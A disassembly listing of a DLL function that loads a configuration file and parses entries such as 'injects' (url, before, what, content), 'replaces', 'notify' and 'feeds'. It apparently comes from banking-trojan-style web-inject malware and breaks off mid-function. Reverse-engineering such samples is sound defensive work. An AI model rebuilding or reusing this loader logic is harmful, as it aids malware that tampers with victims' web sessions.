var_4B4		= dword	ptr -4B4h
var_4B0		= dword	ptr -4B0h
var_4AC		= dword	ptr -4ACh
var_4A8		= dword	ptr -4A8h
var_4A4		= dword	ptr -4A4h
var_4A0		= dword	ptr -4A0h
var_49C		= dword	ptr -49Ch
var_498		= dword	ptr -498h
var_494		= dword	ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= byte ptr -444h
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_434		= byte ptr -434h
var_430		= dword	ptr -430h
var_42C		= dword	ptr -42Ch
var_428		= dword	ptr -428h
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= dword	ptr -400h
var_3FC		= dword	ptr -3FCh
var_3F8		= dword	ptr -3F8h
var_3F4		= dword	ptr -3F4h
var_3F0		= dword	ptr -3F0h
var_3EC		= dword	ptr -3ECh
var_3E8		= dword	ptr -3E8h
var_3E4		= dword	ptr -3E4h
var_3E0		= dword	ptr -3E0h
var_3DC		= dword	ptr -3DCh
var_3D8		= dword	ptr -3D8h
var_3D4		= dword	ptr -3D4h
var_3D0		= dword	ptr -3D0h
var_3CC		= dword	ptr -3CCh
var_3C8		= dword	ptr -3C8h
var_3C4		= dword	ptr -3C4h
var_3C0		= dword	ptr -3C0h
var_3BC		= dword	ptr -3BCh
var_3B8		= dword	ptr -3B8h
var_3B4		= dword	ptr -3B4h
var_3B0		= dword	ptr -3B0h
var_3AC		= dword	ptr -3ACh
var_3A8		= dword	ptr -3A8h
var_3A4		= dword	ptr -3A4h
var_3A0		= dword	ptr -3A0h
var_39C		= dword	ptr -39Ch
var_398		= dword	ptr -398h
var_394		= dword	ptr -394h
var_390		= dword	ptr -390h
var_38C		= dword	ptr -38Ch
var_388		= dword	ptr -388h
var_384		= dword	ptr -384h
var_380		= dword	ptr -380h
var_37C		= dword	ptr -37Ch
var_378		= dword	ptr -378h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_360		= dword	ptr -360h
var_35C		= dword	ptr -35Ch
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_33C		= dword	ptr -33Ch
var_338		= dword	ptr -338h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
var_318		= byte ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= byte ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E0		= dword	ptr -2E0h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_2C4		= dword	ptr -2C4h
var_2C0		= byte ptr -2C0h
var_2BC		= dword	ptr -2BCh
var_2B8		= byte ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= byte ptr -2B0h
var_2AC		= dword	ptr -2ACh
var_2A8		= dword	ptr -2A8h
var_2A4		= byte ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_284		= dword	ptr -284h
var_280		= dword	ptr -280h
var_27C		= dword	ptr -27Ch
var_278		= byte ptr -278h
var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= byte ptr -26Ch
var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= byte ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= byte ptr -258h
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
RootPathName	= byte ptr -24Ch
var_24B		= dword	ptr -24Bh
var_247		= dword	ptr -247h
var_243		= dword	ptr -243h
var_23F		= dword	ptr -23Fh
var_23B		= word ptr -23Bh
var_239		= byte ptr -239h
var_238		= byte ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
String2		= byte ptr -22Ch
lpString1	= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
Filename	= byte ptr -118h
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
lpString2	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_1000878F
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 4C0h
		lea	ecx, [ebp+var_14]
		call	??0_Container_base@std@@QAE@XZ_0 ; std::_Container_base::_Container_base(void)
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+var_10]
		call	??0_Container_base@std@@QAE@XZ_0 ; std::_Container_base::_Container_base(void)
		mov	byte ptr [ebp+var_4], 1
		push	0FFh		; nSize
		lea	eax, [ebp+Filename]
		push	eax		; lpFilename
		push	offset aMs32clod_5 ; "ms32clod"
		call	ds:GetModuleHandleA	; GetModuleHandleA
		push	eax		; hModule
		call	ds:GetModuleFileNameA	; GetModuleFileNameA
		push	5Ch		; Ch
		lea	ecx, [ebp+Filename]
		push	ecx		; Str
		call	ds:strrchr	; strrchr
		add	esp, 8
		mov	byte ptr [eax+1], 0
		mov	edx, [ebp+lpString2]
		push	edx		; lpString2
		lea	eax, [ebp+Filename]
		push	eax		; lpString1
		call	ds:lstrcatA	; lstrcatA
		lea	ecx, [ebp+Filename]
		push	ecx		; Filename
		call	sub_100189B8
		add	esp, 4
		test	eax, eax
		jz	loc_10009FA9
		lea	edx, [ebp+var_124]
		push	edx		; int
		push	offset aConfig	; "config"
		lea	eax, [ebp+Filename]
		push	eax		; Filename
		lea	ecx, [ebp+var_254]
		push	ecx		; int
		call	sub_1001A057
		add	esp, 10h
		mov	[ebp+var_330], eax
		mov	edx, [ebp+var_330]
		mov	[ebp+var_334], edx
		mov	byte ptr [ebp+var_4], 2
		mov	eax, [ebp+var_334]
		push	eax
		lea	ecx, [ebp+var_14]
		call	sub_1001A8A2
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_254]
		call	sub_1001A728
		cmp	[ebp+var_124], 0
		jnz	loc_10009F7C
		push	0
		push	offset aNotifyes ; "notifyes"
		lea	ecx, [ebp+var_258]
		push	ecx
		lea	ecx, [ebp+var_14]
		call	sub_1001A916
		mov	[ebp+var_338], eax
		mov	edx, [ebp+var_338]
		mov	[ebp+var_33C], edx
		mov	byte ptr [ebp+var_4], 3
		mov	eax, [ebp+var_33C]
		push	eax
		lea	ecx, [ebp+var_10]
		call	sub_1001A8A2
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_258]
		call	sub_1001A728
		push	offset aNotify	; "notify"
		lea	ecx, [ebp+var_10]
		call	sub_1001A8DB
		mov	[ebp+var_128], eax
		mov	[ebp+var_18], 0
		jmp	short loc_100088F6
; ---------------------------------------------------------------------------


loc_100088ED:				; CODE XREF: sub_1000878F+1F9j
		mov	ecx, [ebp+var_18]
		add	ecx, 1
		mov	[ebp+var_18], ecx


loc_100088F6:				; CODE XREF: sub_1000878F+15Cj
		mov	edx, [ebp+var_18]
		cmp	edx, [ebp+var_128]
		jge	loc_1000898D
		push	0Ch		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+var_18]
		mov	Dst[ecx*4], eax
		push	0Ch		; Size
		push	0		; Val
		mov	edx, [ebp+var_18]
		mov	eax, Dst[edx*4]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	0		; int
		push	offset aUrl	; "url"
		mov	ecx, [ebp+var_18]
		push	ecx		; int
		push	offset aNotify_0 ; "notify"
		mov	edx, [ebp+var_18]
		mov	eax, Dst[edx*4]
		mov	ecx, [eax+4]
		push	ecx		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_25C], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_340], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_344], eax
		mov	eax, [ebp+var_18]
		mov	ecx, Dst[eax*4]
		mov	edx, [ebp+var_344]
		mov	[ecx+4], edx
		jmp	loc_100088ED
; ---------------------------------------------------------------------------


loc_1000898D:				; CODE XREF: sub_1000878F+170j
		push	0
		push	offset aThreadmasks ; "threadmasks"
		lea	eax, [ebp+var_260]
		push	eax
		lea	ecx, [ebp+var_14]
		call	sub_1001A916
		mov	[ebp+var_348], eax
		mov	ecx, [ebp+var_348]
		mov	[ebp+var_34C], ecx
		mov	byte ptr [ebp+var_4], 4
		mov	edx, [ebp+var_34C]
		push	edx
		lea	ecx, [ebp+var_10]
		call	sub_1001A8A2
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_260]
		call	sub_1001A728
		push	offset aThreadmask ; "threadmask"
		lea	ecx, [ebp+var_10]
		call	sub_1001A8DB
		mov	[ebp+var_128], eax
		mov	[ebp+var_18], 0
		jmp	short loc_100089FC
; ---------------------------------------------------------------------------


loc_100089F3:				; CODE XREF: sub_1000878F+354j
		mov	eax, [ebp+var_18]
		add	eax, 1
		mov	[ebp+var_18], eax


loc_100089FC:				; CODE XREF: sub_1000878F+262j
		mov	ecx, [ebp+var_18]
		cmp	ecx, [ebp+var_128]
		jge	loc_10008AE8
		push	8		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	edx, [ebp+var_18]
		mov	dword_10034364[edx*4], eax
		push	8		; Size
		push	0		; Val
		mov	eax, [ebp+var_18]
		mov	ecx, dword_10034364[eax*4]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	1		; int
		push	offset aMask	; "mask"
		mov	edx, [ebp+var_18]
		push	edx		; int
		push	offset aThreadmask_0 ; "threadmask"
		mov	eax, [ebp+var_18]
		mov	ecx, dword_10034364[eax*4]
		mov	edx, [ecx]
		push	edx		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_264], esp
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_1001A8C7
		mov	[ebp+var_350], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_354], eax
		mov	ecx, [ebp+var_18]
		mov	edx, dword_10034364[ecx*4]
		mov	eax, [ebp+var_354]
		mov	[edx], eax
		push	1		; int
		push	offset aWhat	; "what"
		mov	ecx, [ebp+var_18]
		push	ecx		; int
		push	offset aThreadmask_1 ; "threadmask"
		mov	edx, [ebp+var_18]
		mov	eax, dword_10034364[edx*4]
		mov	ecx, [eax+4]
		push	ecx		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_268], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_358], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_35C], eax
		mov	eax, [ebp+var_18]
		mov	ecx, dword_10034364[eax*4]
		mov	edx, [ebp+var_35C]
		mov	[ecx+4], edx
		jmp	loc_100089F3
; ---------------------------------------------------------------------------


loc_10008AE8:				; CODE XREF: sub_1000878F+276j
		push	0
		push	offset aReplaces ; "replaces"
		lea	eax, [ebp+var_26C]
		push	eax
		lea	ecx, [ebp+var_14]
		call	sub_1001A916
		mov	[ebp+var_360], eax
		mov	ecx, [ebp+var_360]
		mov	[ebp+var_364], ecx
		mov	byte ptr [ebp+var_4], 5
		mov	edx, [ebp+var_364]
		push	edx
		lea	ecx, [ebp+var_10]
		call	sub_1001A8A2
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_26C]
		call	sub_1001A728
		push	offset aReplace	; "replace"
		lea	ecx, [ebp+var_10]
		call	sub_1001A8DB
		mov	[ebp+var_128], eax
		mov	[ebp+var_18], 0
		jmp	short loc_10008B57
; ---------------------------------------------------------------------------


loc_10008B4E:				; CODE XREF: sub_1000878F+4AFj
		mov	eax, [ebp+var_18]
		add	eax, 1
		mov	[ebp+var_18], eax


loc_10008B57:				; CODE XREF: sub_1000878F+3BDj
		mov	ecx, [ebp+var_18]
		cmp	ecx, [ebp+var_128]
		jge	loc_10008C43
		push	8		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	edx, [ebp+var_18]
		mov	dword_10034AA4[edx*4], eax
		push	8		; Size
		push	0		; Val
		mov	eax, [ebp+var_18]
		mov	ecx, dword_10034AA4[eax*4]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	1		; int
		push	offset aItem	; "item"
		mov	edx, [ebp+var_18]
		push	edx		; int
		push	offset aReplace_0 ; "replace"
		mov	eax, [ebp+var_18]
		mov	ecx, dword_10034AA4[eax*4]
		mov	edx, [ecx]
		push	edx		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_270], esp
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_1001A8C7
		mov	[ebp+var_368], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_36C], eax
		mov	ecx, [ebp+var_18]
		mov	edx, dword_10034AA4[ecx*4]
		mov	eax, [ebp+var_36C]
		mov	[edx], eax
		push	1		; int
		push	offset aWhat_0	; "what"
		mov	ecx, [ebp+var_18]
		push	ecx		; int
		push	offset aReplace_1 ; "replace"
		mov	edx, [ebp+var_18]
		mov	eax, dword_10034AA4[edx*4]
		mov	ecx, [eax+4]
		push	ecx		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_274], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_370], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_18]
		mov	ecx, dword_10034AA4[eax*4]
		mov	edx, [ebp+var_374]
		mov	[ecx+4], edx
		jmp	loc_10008B4E
; ---------------------------------------------------------------------------


loc_10008C43:				; CODE XREF: sub_1000878F+3D1j
		push	0
		push	offset aInjects	; "injects"
		lea	eax, [ebp+var_278]
		push	eax
		lea	ecx, [ebp+var_14]
		call	sub_1001A916
		mov	[ebp+var_378], eax
		mov	ecx, [ebp+var_378]
		mov	[ebp+var_37C], ecx
		mov	byte ptr [ebp+var_4], 6
		mov	edx, [ebp+var_37C]
		push	edx
		lea	ecx, [ebp+var_10]
		call	sub_1001A8A2
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_278]
		call	sub_1001A728
		push	offset aInject	; "inject"
		lea	ecx, [ebp+var_10]
		call	sub_1001A8DB
		mov	[ebp+var_128], eax
		mov	[ebp+var_18], 0
		jmp	short loc_10008CB2
; ---------------------------------------------------------------------------


loc_10008CA9:				; CODE XREF: sub_1000878F+8C2j
		mov	eax, [ebp+var_18]
		add	eax, 1
		mov	[ebp+var_18], eax


loc_10008CB2:				; CODE XREF: sub_1000878F+518j
		mov	ecx, [ebp+var_18]
		cmp	ecx, [ebp+var_128]
		jge	loc_10009056
		push	28h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	edx, [ebp+var_18]
		mov	dword_10034464[edx*4], eax
		push	28h		; Size
		push	0		; Val
		mov	eax, [ebp+var_18]
		mov	ecx, dword_10034464[eax*4]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	0		; int
		push	offset aUrl_0	; "url"
		mov	edx, [ebp+var_18]
		push	edx		; int
		push	offset aInject_0 ; "inject"
		mov	eax, [ebp+var_18]
		mov	ecx, dword_10034464[eax*4]
		mov	edx, [ecx]
		push	edx		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_27C], esp
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_1001A8C7
		mov	[ebp+var_380], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_384], eax
		mov	ecx, [ebp+var_18]
		mov	edx, dword_10034464[ecx*4]
		mov	eax, [ebp+var_384]
		mov	[edx], eax
		push	1		; int
		push	offset aBefore	; "before"
		mov	ecx, [ebp+var_18]
		push	ecx		; int
		push	offset aInject_1 ; "inject"
		mov	edx, [ebp+var_18]
		mov	eax, dword_10034464[edx*4]
		mov	ecx, [eax+4]
		push	ecx		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_280], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_388], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_38C], eax
		mov	eax, [ebp+var_18]
		mov	ecx, dword_10034464[eax*4]
		mov	edx, [ebp+var_38C]
		mov	[ecx+4], edx
		push	1		; int
		push	offset aWhat_1	; "what"
		mov	eax, [ebp+var_18]
		push	eax		; int
		push	offset aInject_2 ; "inject"
		mov	ecx, [ebp+var_18]
		mov	edx, dword_10034464[ecx*4]
		mov	eax, [edx+8]
		push	eax		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_284], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_390], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_394], eax
		mov	eax, [ebp+var_18]
		mov	ecx, dword_10034464[eax*4]
		mov	edx, [ebp+var_394]
		mov	[ecx+8], edx
		push	0		; int
		push	offset aBlock	; "block"
		mov	eax, [ebp+var_18]
		push	eax		; int
		push	offset aInject_3 ; "inject"
		mov	ecx, [ebp+var_18]
		mov	edx, dword_10034464[ecx*4]
		mov	eax, [edx+0Ch]
		push	eax		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_288], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_398], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_39C], eax
		mov	eax, [ebp+var_18]
		mov	ecx, dword_10034464[eax*4]
		mov	edx, [ebp+var_39C]
		mov	[ecx+0Ch], edx
		push	0		; int
		push	offset aCheck	; "check"
		mov	eax, [ebp+var_18]
		push	eax		; int
		push	offset aInject_4 ; "inject"
		mov	ecx, [ebp+var_18]
		mov	edx, dword_10034464[ecx*4]
		mov	eax, [edx+10h]
		push	eax		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_28C], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_3A0], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_3A4], eax
		mov	eax, [ebp+var_18]
		mov	ecx, dword_10034464[eax*4]
		mov	edx, [ebp+var_3A4]
		mov	[ecx+10h], edx
		push	0		; int
		push	offset aQuan	; "quan"
		mov	eax, [ebp+var_18]
		push	eax		; int
		push	offset aInject_5 ; "inject"
		mov	ecx, [ebp+var_18]
		mov	edx, dword_10034464[ecx*4]
		mov	eax, [edx+14h]
		push	eax		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_290], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_3A8], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_3AC], eax
		mov	eax, [ebp+var_18]
		mov	ecx, dword_10034464[eax*4]
		mov	edx, [ebp+var_3AC]
		mov	[ecx+14h], edx
		push	0		; int
		push	offset aContent	; "content"
		mov	eax, [ebp+var_18]
		push	eax		; int
		push	offset aInject_6 ; "inject"
		mov	ecx, [ebp+var_18]
		mov	edx, dword_10034464[ecx*4]
		mov	eax, [edx+18h]
		push	eax		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_294], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_3B0], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_3B4], eax
		mov	eax, [ebp+var_18]
		mov	ecx, dword_10034464[eax*4]
		mov	edx, [ebp+var_3B4]
		mov	[ecx+18h], edx
		push	0		; int
		push	offset aT	; "t"
		mov	eax, [ebp+var_18]
		push	eax		; int
		push	offset aInject_7 ; "inject"
		mov	ecx, [ebp+var_18]
		mov	edx, dword_10034464[ecx*4]
		mov	eax, [edx+1Ch]
		push	eax		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_298], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_3B8], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_3BC], eax
		mov	eax, [ebp+var_18]
		mov	ecx, dword_10034464[eax*4]
		mov	edx, [ebp+var_3BC]
		mov	[ecx+1Ch], edx
		push	0		; int
		push	offset aType	; "type"
		mov	eax, [ebp+var_18]
		push	eax		; int
		push	offset aInject_8 ; "inject"
		mov	ecx, [ebp+var_18]
		mov	edx, dword_10034464[ecx*4]
		mov	eax, [edx+20h]
		push	eax		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_29C], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_3C0], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_3C4], eax
		mov	eax, [ebp+var_18]
		mov	ecx, dword_10034464[eax*4]
		mov	edx, [ebp+var_3C4]
		mov	[ecx+20h], edx
		push	0		; int
		push	offset aNotify_1 ; "notify"
		mov	eax, [ebp+var_18]
		push	eax		; int
		push	offset aInject_9 ; "inject"
		mov	ecx, [ebp+var_18]
		mov	edx, dword_10034464[ecx*4]
		mov	eax, [edx+24h]
		push	eax		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_2A0], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_3C8], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_3CC], eax
		mov	eax, [ebp+var_18]
		mov	ecx, dword_10034464[eax*4]
		mov	edx, [ebp+var_3CC]
		mov	[ecx+24h], edx
		jmp	loc_10008CA9
; ---------------------------------------------------------------------------


loc_10009056:				; CODE XREF: sub_1000878F+52Cj
		push	0
		push	offset aGlobal	; "global"
		lea	eax, [ebp+var_2A4]
		push	eax
		lea	ecx, [ebp+var_14]
		call	sub_1001A916
		mov	[ebp+var_3D0], eax
		mov	ecx, [ebp+var_3D0]
		mov	[ebp+var_3D4], ecx
		mov	byte ptr [ebp+var_4], 7
		mov	edx, [ebp+var_3D4]
		push	edx
		lea	ecx, [ebp+var_10]
		call	sub_1001A8A2
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_2A4]
		call	sub_1001A728
		push	0		; int
		push	0		; int
		push	0		; int
		push	offset aTime	; "time"
		mov	eax, dword_1004FDB0
		push	eax		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_2A8], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_3D8], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_3DC], eax
		mov	eax, [ebp+var_3DC]
		mov	dword_1004FDB0,	eax
		mov	[ebp+lpString1], 0
		push	0		; int
		push	0		; int
		push	0		; int
		push	offset aTest	; "test"
		mov	ecx, [ebp+lpString1]
		push	ecx		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_2AC], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_3E0], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_3E4], eax
		mov	eax, [ebp+var_3E4]
		mov	[ebp+lpString1], eax
		mov	ecx, [ebp+lpString1]
		push	ecx		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		mov	dword_1003712C,	eax
		push	0
		push	offset aFeeds	; "feeds"
		lea	edx, [ebp+var_2B0]
		push	edx
		lea	ecx, [ebp+var_14]
		call	sub_1001A916
		mov	[ebp+var_3E8], eax
		mov	eax, [ebp+var_3E8]
		mov	[ebp+var_3EC], eax
		mov	byte ptr [ebp+var_4], 8
		mov	ecx, [ebp+var_3EC]
		push	ecx
		lea	ecx, [ebp+var_10]
		call	sub_1001A8A2
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_2B0]
		call	sub_1001A728
		push	offset aFeed	; "feed"
		lea	ecx, [ebp+var_10]
		call	sub_1001A8DB
		mov	[ebp+var_128], eax
		mov	[ebp+var_18], 0
		jmp	short loc_100091B4
; ---------------------------------------------------------------------------


loc_100091AB:				; CODE XREF: sub_1000878F+A81j
		mov	edx, [ebp+var_18]
		add	edx, 1
		mov	[ebp+var_18], edx


loc_100091B4:				; CODE XREF: sub_1000878F+A1Aj
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_128]
		jge	short loc_10009212
		push	1		; int
		push	offset aUrl_1	; "url"
		mov	ecx, [ebp+var_18]
		push	ecx		; int
		push	offset aFeed_0	; "feed"
		mov	edx, [ebp+var_18]
		mov	eax, dword_10057DD8[edx*4]
		push	eax		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_2B4], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_3F0], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_3F4], eax
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_3F4]
		mov	dword_10057DD8[eax*4], ecx
		jmp	short loc_100091AB
; ---------------------------------------------------------------------------


loc_10009212:				; CODE XREF: sub_1000878F+A2Ej
		push	0
		push	offset aFps	; "fps"
		lea	edx, [ebp+var_2B8]
		push	edx
		lea	ecx, [ebp+var_14]
		call	sub_1001A916
		mov	[ebp+var_3F8], eax
		mov	eax, [ebp+var_3F8]
		mov	[ebp+var_3FC], eax
		mov	byte ptr [ebp+var_4], 9
		mov	ecx, [ebp+var_3FC]
		push	ecx
		lea	ecx, [ebp+var_10]
		call	sub_1001A8A2
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_2B8]
		call	sub_1001A728
		push	offset aFp	; "fp"
		lea	ecx, [ebp+var_10]
		call	sub_1001A8DB
		mov	[ebp+var_128], eax
		mov	[ebp+var_18], 0
		jmp	short loc_10009281
; ---------------------------------------------------------------------------


loc_10009278:				; CODE XREF: sub_1000878F+B4Bj
		mov	edx, [ebp+var_18]
		add	edx, 1
		mov	[ebp+var_18], edx


loc_10009281:				; CODE XREF: sub_1000878F+AE7j
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_128]
		jge	short loc_100092DC
		push	0		; int
		push	0		; int
		mov	ecx, [ebp+var_18]
		push	ecx		; int
		push	offset aFp_0	; "fp"
		mov	edx, [ebp+var_18]
		mov	eax, dword_1005BED8[edx*4]
		push	eax		; lpString1
		push	ecx		; char
		mov	ecx, esp
		mov	[ebp+var_2BC], esp
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_1001A8C7
		mov	[ebp+var_400], eax
		call	sub_1000827F
		add	esp, 18h
		mov	[ebp+var_404], eax
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_404]
		mov	dword_1005BED8[eax*4], ecx
		jmp	short loc_10009278
; ---------------------------------------------------------------------------


loc_100092DC:				; CODE XREF: sub_1000878F+AFBj
		push	0
		push	offset aHlsts	; "hlsts"
		lea	edx, [ebp+var_2C0]
		push	edx
		lea	ecx, [ebp+var_14]
		call	sub_1001A916
		mov	[ebp+var_408], eax
		mov	eax, [ebp+var_408]
		mov	[ebp+var_40C], eax
		mov	byte ptr [ebp+var_4], 0Ah
		mov	ecx, [ebp+var_40C]
		push	ecx
		lea	ecx, [ebp+var_10]
		call	sub_1001A8A2
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_2C0]
		call	sub_1001A728
		push	offset aHlst	; "hlst"
		lea	ecx, [ebp+var_10]
		call	sub_1001A8DB
		mov	[ebp+var_128], eax
		mov	[ebp+var_18], 0
		jmp	short loc_1000934B
; ---------------------------------------------------------------------------


loc_10009342:				; CODE XREF: sub_1000878F+C15j
		mov	edx, [ebp+var_18]
		add	edx, 1
		mov	[ebp+var_18], edx


loc_1000934B:				; CODE XREF: sub_1000878F+BB1j
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_128]
		jge	short loc_100093A6
		push	0		; int
		push	0		; int
		mov	ecx, [ebp+var_18]
		push	ecx		; int
		push	offset aHlst_0	; "hlst"
		mov	edx, [ebp+var_18]
		mov	eax, dword_1005FED8[edx*4]
